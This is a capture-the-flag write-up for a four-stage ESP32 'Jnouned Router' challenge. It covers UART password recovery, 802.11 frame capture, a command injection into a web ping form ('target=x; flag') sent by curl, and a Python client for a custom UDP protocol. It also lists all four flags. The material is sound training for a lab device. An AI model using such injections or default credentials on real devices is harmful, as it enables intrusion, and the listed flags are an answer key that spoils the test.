ESPILON-CTF-2026-Writeups/ESP/Jnouner_Router/README.md

235 lines
5.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Jnouned Router
| Field | Value |
|-------|-------|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 400 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |
---
## Description
The CERT-CORP intercepted a strange firmware from an unknown router model built by the
shady *JNouner Company*.
Analysts found it targets an **ESP32-based prototype**, but the system is protected by a
locked **UART console**.
Flash the firmware, break into the system, and work your way through every layer of this device.
Format: **ESPILON{flag}**
---
## TL;DR
Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff
802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse
a custom UDP protocol (JMP) to exfiltrate the final flag.
---
## Tools
| Tool | Purpose |
|------|---------|
| `esptool.py` | Flash firmware |
| `screen` / `minicom` | UART console access |
| `airmon-ng` / `tcpdump` | 802.11 monitor mode capture |
| `curl` | Web admin POST injection |
| Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client |
| `strings` / Ghidra | Firmware static analysis |
---
## Flags Summary
| Flag | Name | Points | Value |
|------|------|--------|-------|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
---
## Solution
### Setup — Flash the firmware
```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
0x1000 bootloader.bin \
0x8000 partition-table.bin \
0x10000 jnouned_router.bin
```
Open the UART console:
```bash
screen /dev/ttyUSB0 115200
```
> 📸 `[screenshot: UART console showing jnoun-console> prompt]`
---
### Flag 1 — Console Access (100 pts)
The UART console presents a `jnoun-console>` prompt requiring a password.
Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find
`build_admin_password()`. The password is assembled from three parts:
```
p1 = "jnoun-"
p2 = "admin-"
p3 = "2022"
→ password = "jnoun-admin-2022"
```
```text
admin_login jnoun-admin-2022
```
Flag 1 is printed on success.
> 📸 `[screenshot: successful admin_login command printing Flag 1]`
---
### Flag 2 — 802.11 TX (200 pts)
From the admin console, read device settings:
```text
settings
```
The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`):
- **SSID**: `Jnoun-3E4C`
- **PSK**: `LAIN_H4v3_Ajnoun`
Trigger the 802.11 data-frame flood for 90 seconds:
```text
start_emitting
```
Put your WiFi adapter into monitor mode on the same channel and capture frames:
```bash
airmon-ng start wlan0
tcpdump -i wlan0mon -w capture.pcap
# or
tshark -i wlan0mon -w capture.pcap
```
Among the random noise frames, one frame emitted at a random time (585 seconds)
contains Flag 2 as cleartext in its 802.11 data payload.
> 📸 `[screenshot: Wireshark frame showing Flag 2 in the payload field]`
---
### Flag 3 — Admin Panel (300 pts)
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an
HTTP server at `http://192.168.4.1`.
Log in: `admin` / `admin`.
The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads:
*"Parser séparateur ';'"* — the internal shell splits commands on `;`.
Inject via the `target` field:
```bash
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
-d "target=x%3B+flag"
```
Decoded: `target=x; flag`
Flag 3 prints to the UART console via `ESP_LOGE`.
> 📸 `[screenshot: UART console showing Flag 3 output after injection]`
---
### Flag 4 — JMP Protocol (400 pts)
Trigger the exfiltration session via the web injection:
```text
target=x; start_session
```
The UART console leaks:
```text
JMP Server listening on UDP:6999
PROTOCOL INITIALIZATION LEAK:
Magic: 0x4A4D5021
Auth hash (SHA256): <hash>
Hint: Secret pattern is JNOUNER_SECRET_XXXX
```
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
then request all data blocks:
```python
import socket, struct, hashlib
HOST = "192.168.4.1"
PORT = 6999
MAGIC = 0x4A4D5021
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
secret_hash = hashlib.sha256(SECRET).digest()
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(auth_pkt, (HOST, PORT))
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
resp, _ = sock.recvfrom(1024)
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
print(f"Token: 0x{token:08x}")
# Request all blocks
flag = b""
for block_id in range(10):
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
sock.sendto(req, (HOST, PORT))
resp, _ = sock.recvfrom(1024)
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
if len(resp) < 8:
break
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
data = resp[8:8+dlen]
flag += data
if bid + 1 >= total:
break
print(flag.decode())
```
> 📸 `[screenshot: Python JMP client printing the final flag after block reassembly]`
---
## Flag
- Flag 1: `ESPILON{Jn0un3d_4dM1N}`
- Flag 2: `ESPILON{802_11_tx_jnned}`
- Flag 3: `ESPILON{Adm1n_4r3_jn0uned}`
- Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`